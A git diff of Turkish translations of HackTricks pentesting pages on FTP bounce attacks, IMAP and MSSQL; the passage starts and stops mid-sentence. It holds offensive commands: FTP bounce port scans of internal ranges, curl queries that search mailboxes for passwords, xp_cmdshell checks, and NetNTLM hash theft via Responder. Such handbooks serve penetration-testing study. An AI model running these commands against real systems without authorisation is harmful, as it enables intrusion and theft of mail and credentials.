/tmp/dosya.txt`** Belirtilen dosyayı FTP'ye yükler @@ -166,34 +166,34 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ## FTPBounce saldırısı -Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir bağlantı noktasında bağlanmak istediğinizi belirtmek için kullanılabilir. Daha sonra, bu, bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi bağlantı noktalarının açık olduğunu taramak için kullanılabilir. +Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir porta bağlanmak istediğinizi belirtmek için kullanılabilir. Sonra, bu bilgiyi kullanarak bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz. -[**Buradan bir FTP sunucusunu bağlantı noktalarını taramak için nasıl kötüye kullanabileceğinizi öğrenin.**](ftp-bounce-attack.md) +[**Buradan bir FTP sunucusunu port taraması yapmak için nasıl kötüye kullanabileceğinizi öğrenin.**](ftp-bounce-attack.md) -Bu davranışı aynı zamanda bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\ +Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime girmesi için kullanabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\ Teori basittir: 1. **İsteği (bir metin dosyası içinde) zayıf sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla iletişim kurmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerekir 2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki dosyanın içine isteği yüklemek için başlangıçta bazı görüntü başlığı eklemeniz gerekiyordur) -3. **Arbitrary sunucuya ve servise bağlanmak için `PORT` kullanın** +3. **Arbitrary sunucu ve servise bağlanmak için `PORT` kullanın** 4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.** -Bu, **muhtemelen** _**Yazılabilir soket değil**_ gibi bir hata verecektir **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunun önüne geçmek için denemeniz gereken öneriler şunlardır: +Bu **muhtemelen** _**Yazılabilir soket değil**_ gibi bir hata verecektir **çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunun önüne geçmek için denemeniz gereken öneriler: -* Bir HTTP isteği gönderiyorsanız, **en azından ~0.5MB'a kadar aynı isteği tekrarlayın**. Şöyle: +* Bir HTTP isteği gönderiyorsanız, **en azından \~0.5MB'ye kadar aynı isteği tekrarlayın**. Şöyle: {% file src="../../.gitbook/assets/posts (1).txt" %} posts.txt {% endfile %} -* İsteği, protokole göre "gereksiz" verilerle doldurmaya çalışın (FTP ile iletişim kurarken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın) -* İsteği, çok sayıda null karakter veya diğer karakterlerle doldurun (satırlara veya satırlara bölünmüş olsun) +* İsteği **protokole göre "gereksiz" verilerle doldurmaya çalışın** (FTP ile iletişim kurarken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın) +* İsteği **çok sayıda null karakter veya başka karakterlerle doldurun** (satırlara veya satırlara bölünmüş olsun) Neyse, burada bir [FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlamak için bunu nasıl kötüye kullanacağınıza dair eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır. ## Filezilla Sunucu Güvenlik Açığı -**FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Sunucusuna** (port 14147) **bağlanır**. Bu bağlantı noktasına erişmek için **kendi makinenizden** bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **buna bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı oluşturabilirsiniz**. +**FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Sunucusuna** (port 14147) **bağlanır**. Bu porta erişmek için **kendi makinenizden bir tünel oluşturabilirseniz**, FTP hizmeti için **boş bir şifre** kullanarak **bağlanabilir** ve **FTP hizmeti için yeni bir kullanıcı oluşturabilirsiniz**. ## Yapılandırma dosyaları ``` @@ -206,26 +206,26 @@ vsftpd.conf vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabilir. Burada bazı tehlikeli ayarlar bulabilirsiniz: -* `anonymous_enable=YES` -* `anon_upload_enable=YES` -* `anon_mkdir_write_enable=YES` -* `anon_root=/home/username/ftp` - Anonim için dizin. -* `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştirme -* `chown_username=username` - Anonim olarak yüklenen dosyaların sahipliğini alan kullanıcı -* `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin ver -* `no_anon_password=YES` - Anonimden şifre isteme -* `write_enable=YES` - Komutlara izin ver: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE +- `anonymous_enable=YES` +- `anon_upload_enable=YES` +- `anon_mkdir_write_enable=YES` +- `anon_root=/home/username/ftp` - Anonim için dizin. +- `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştir +- `chown_username=username` - Anonim olarak yüklenen dosyaların sahipliğini alan kullanıcı +- `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin ver +- `no_anon_password=YES` - Anonimden şifre isteme +- `write_enable=YES` - Komutlara izin ver: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE ### Shodan -* `ftp` -* `port:21` +- `ftp` +- `port:21` *** **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -288,9 +288,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın**.
diff --git a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index dd6fae1b4..242efcdbe 100644 --- a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -1,20 +1,20 @@
-Sıfırdan kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,14 +22,14 @@ HackTricks'ı desteklemenin diğer yolları: # FTP Bounce - Tarama -## El ile +## Manuel -1. Hassas FTP'ye bağlanın +1. Zafiyetli FTP'ye bağlanın 2. Taramak istediğiniz _\_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ancak yalnızca birini) kullanın: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. **`LIST`** kullanın (bu sadece FTP klasöründeki mevcut dosyaların listesini bağlı _\'a gönderir) ve olası yanıtları kontrol edin: `150 Dosya durumu iyi` (Bu, portun açık olduğu anlamına gelir) veya `425 Bağlantı kurulamadı` (Bu, portun kapalı olduğu anlamına gelir) +3. **`LIST`** kullanın (bu sadece FTP klasöründeki mevcut dosyaların listesini bağlı _\_ 'a gönderir) ve olası yanıtları kontrol edin: `150 Dosya durumu iyi` (Bu, portun açık olduğu anlamına gelir) veya `425 Bağlantı kurulamadı` (Bu, portun kapalı olduğu anlamına gelir) 4. `LIST` yerine **`RETR /ftp'deki/dosya`** kullanabilir ve benzer `Açık/Kapalı` yanıtları arayabilirsiniz. **PORT** kullanarak örnek (172.32.80.80'in 8080 numaralı bağlantı noktası açık ve 7777 kapalı): @@ -52,21 +52,21 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna ``` **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Sıfırdan Kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan Kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek PR'larınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına ekleyin.
diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index d74a796de..3deda6eab 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -6,7 +6,7 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** @@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,12 +24,12 @@ HackTricks'ı desteklemenin diğer yolları: ## İnternet Mesaj Erişim Protokolü -**İnternet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır**, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **çeşitli cihazlardan** e-postaları kontrol etme kolaylığını sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur. +**İnternet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır**, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, e-postaları **çoklu cihazlardan** kontrol etme kolaylığını sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur. IMAP protokolü varsayılan olarak iki bağlantı noktasında çalışır: * **Port 143** - bu, varsayılan IMAP şifrelenmemiş bağlantı noktasıdır -* **Port 993** - bu, IMAP'ı güvenli bir şekilde kullanmak istiyorsanız kullanmanız gereken bağlantı noktasıdır +* **Port 993** - bu, IMAP ile güvenli bir şekilde bağlanmak istiyorsanız kullanmanız gereken bağlantı noktasıdır ``` PORT STATE SERVICE REASON 143/tcp open imap syn-ack @@ -50,7 +50,7 @@ root@kali: telnet example.com 143 >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` -Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatize** edin +Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatikleştirin** ### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap) @@ -123,13 +123,13 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass ``` Bu aramanın sonucu bir mesaj dizini listesidir. -Ayrıca daha karmaşık arama terimleri de sağlanabilir. Örneğin, şifre içeren taslakları aramak: +Daha karmaşık arama terimleri de sağlanabilir. Örneğin, şifre içeren taslakları aramak: ```bash curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` Arama terimlerinin mümkün olan güzel bir genel bakışı [burada](https://www.atmail.com/blog/imap-commands/) bulunmaktadır. -3. Bir ileti indirme (imap komutu `SELECT Drafts` ve ardından `FETCH 1 BODY[]`) +3. Bir ileti indirme (imap komutu `SELECT Taslak` ve ardından `FETCH 1 BODY[]`) ```bash curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass ``` @@ -140,11 +140,11 @@ Ayrıca mesajlara erişmek için `UID` (benzersiz kimlik) kullanmak da mümkünd curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass ``` -Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusunu ve göndericisini indirmek (-v konusu ve göndericiyi görmek için gereklidir): +Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusu ve göndericisi (konuyu ve göndericiyi görmek için `-v` gereklidir): ```bash $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' ``` -Yine de, muhtemelen sadece küçük bir for döngüsü yazmak daha temiz olacaktır: +Yine de, muhtemelen sadece küçük bir for döngüsü yazmak daha temizdir: ```bash for m in {1..5}; do echo $m @@ -158,7 +158,7 @@ done **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -194,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS { ```
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 43c47ce6d..5bfeeb9a8 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -7,16 +7,16 @@ HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) -* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -26,7 +26,7 @@ HackTricks'ı desteklemenin diğer yolları: [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)'dan: -> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde veri depolama ve geri alma işlevini yerine getiren bir yazılım ürünüdür - bu uygulamalar ya aynı bilgisayarda ya da ağ üzerinde başka bir bilgisayarda (İnternet dahil) çalışabilir. +> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde veri depolama ve geri alma işlevini yerine getiren bir yazılım ürünüdür - bu uygulamalar ya aynı bilgisayarda ya da ağ üzerinde başka bir bilgisayarda (İnternet dahil) çalışabilir.\ **Varsayılan port:** 1433 ``` @@ -36,8 +36,8 @@ HackTricks'ı desteklemenin diğer yolları: * **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyi ayrıntıları yakalar ve kritiktir. * **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlamayı yönetmek için bu veritabanını kullanır. -* **model Veritabanı**: SQL Server örneğinde her yeni veritabanı için bir plan olarak hareket eder, burada boyut, karşılaştırma, kurtarma modeli ve daha fazlası gibi herhangi bir değişiklik, yeni oluşturulan veritabanlarında yansıtılır. -* **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Fiziksel olarak Resource veritabanında depolanmış olsalar da, her veritabanının sys şemasında mantıksal olarak sunulur. +* **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir taslak olarak hareket eder, burada boyut, karşılaştırma, kurtarma modeli ve daha fazlası gibi herhangi bir değişiklik, yeni oluşturulan veritabanlarında yansıtılır. +* **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Fiziksel olarak Resource veritabanında depolanırken, her veritabanının sys şemasında mantıksal olarak sunulur. * **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet verir. @@ -51,7 +51,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} -Eğer **kimlik bilgileriniz yoksa**, onları tahmin etmeyi deneyebilirsiniz. Nmap veya metasploit kullanabilirsiniz. Dikkatli olun, var olan bir kullanıcı adını kullanarak birkaç kez giriş yapmada başarısız olursanız, hesapları **bloklatabilirsiniz**. +Eğer **kimlik bilgileriniz yoksa**, onları tahmin etmeyi deneyebilirsiniz. Nmap veya metasploit'i kullanabilirsiniz. Dikkatli olun, var olan bir kullanıcı adını kullanarak birkaç kez giriş yapmada başarısız olursanız, hesapları **bloklatabilirsiniz**. {% endhint %} #### Metasploit (kimlik bilgileri gereklidir) @@ -88,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass ``` ### [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#sql-server) -### El ile Numaralandırma +### Manuel Numaralandırma #### Giriş ```bash @@ -105,7 +105,7 @@ sqsh -S -U .\\ -P -D 1> select 1; 2> go ``` -#### Yaygın Numaralandırma +#### Ortak Numaralandırma ```sql # Get version select @@version; @@ -153,16 +153,16 @@ SELECT * FROM sysusers ``` #### İzinleri Al -1. **Korunabilir:** SQL Server tarafından erişim kontrolü için yönetilen kaynaklar olarak tanımlanır. Bunlar şu kategorilere ayrılır: +1. **Güvenlik:** SQL Server tarafından yönetilen erişim kontrolü için tanımlanan kaynaklar olarak tanımlanır. Bunlar şu şekilde kategorilere ayrılır: - **Sunucu** – Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur. - **Veritabanı** – Örnekler veritabanı rolü, uygulama rolleri, şema, sertifikalar, tam metin katalogları ve kullanıcıları kapsar. - **Şema** – Tabloları, görünümleri, prosedürleri, işlevleri, sinonimleri vb. içerir. -2. **İzin:** SQL Server korunabilirleri ile ilişkilendirilen izinler arasında ALTER, CONTROL ve CREATE gibi izinler bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir: +2. **İzin:** SQL Server güvenlik unsurlarıyla ilişkilendirilen izinler arasında ALTER, CONTROL ve CREATE gibi izinler bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir: - **Sunucu Düzeyi** girişler kullanılarak - **Veritabanı Düzeyi** kullanıcılar kullanılarak -3. **Prensipal:** Bu terim, bir korunabilir için izin verilen varlığı ifade eder. Prensipaller genellikle girişler ve veritabanı kullanıcılarını içerir. Korunabilirlerin erişimine kontrol, izinlerin verilmesi veya reddedilmesi veya erişim haklarına sahip roller içeren girişlerin ve kullanıcıların dahil edilmesi yoluyla gerçekleştirilir. +3. **Prensipal:** Bu terim, bir güvenliğe izin verilen varlık anlamına gelir. Prensipaller genellikle girişler ve veritabanı kullanıcılarını içerir. Güvenliklere erişim kontrolü, izinlerin verilmesi veya reddedilmesi veya girişlerin ve kullanıcıların erişim haklarına sahip rollerde bulunması yoluyla gerçekleştirilir. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell' ``` ## İpuçları -### İşletim Sistemi Komutları Çalıştırma +### İşletim Sistemi Komutları Yürütme {% hint style="danger" %} -Komutları çalıştırabilmek için **`xp_cmdshell`**'in **etkin** olması yeterli değildir, aynı zamanda **`xp_cmdshell` depolanan prosedüründe **EXECUTE iznine** sahip olmak da gereklidir. Kimlerin (sysadminler hariç) **`xp_cmdshell`**'i kullanabileceğini alabilirsiniz: +Komutları yürütebilmek için **`xp_cmdshell`**'in **etkin** olması yeterli değildir, aynı zamanda **`xp_cmdshell` depolanan prosedüründe EXECUTE iznine sahip olmak** da gereklidir. Kimlerin (sysadmin'ler hariç) **`xp_cmdshell`**'i kullanabileceğini alabilirsiniz: ```sql Use master EXEC sp_helprotect 'xp_cmdshell' @@ -244,7 +244,7 @@ EXEC sp_helprotect 'xp_fileexist'; ``` {% endhint %} -**responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\ +**Responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\ Bu araçları nasıl kullanacağınızı aşağıdaki bağlantıda görebilirsiniz: {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} @@ -261,7 +261,7 @@ Bu özelliği nasıl kötüye kullanacağınız hakkında daha fazla bilgi için ### **Dosya Yazma** -`MSSQL` kullanarak dosya yazmak için [**Ole Automation 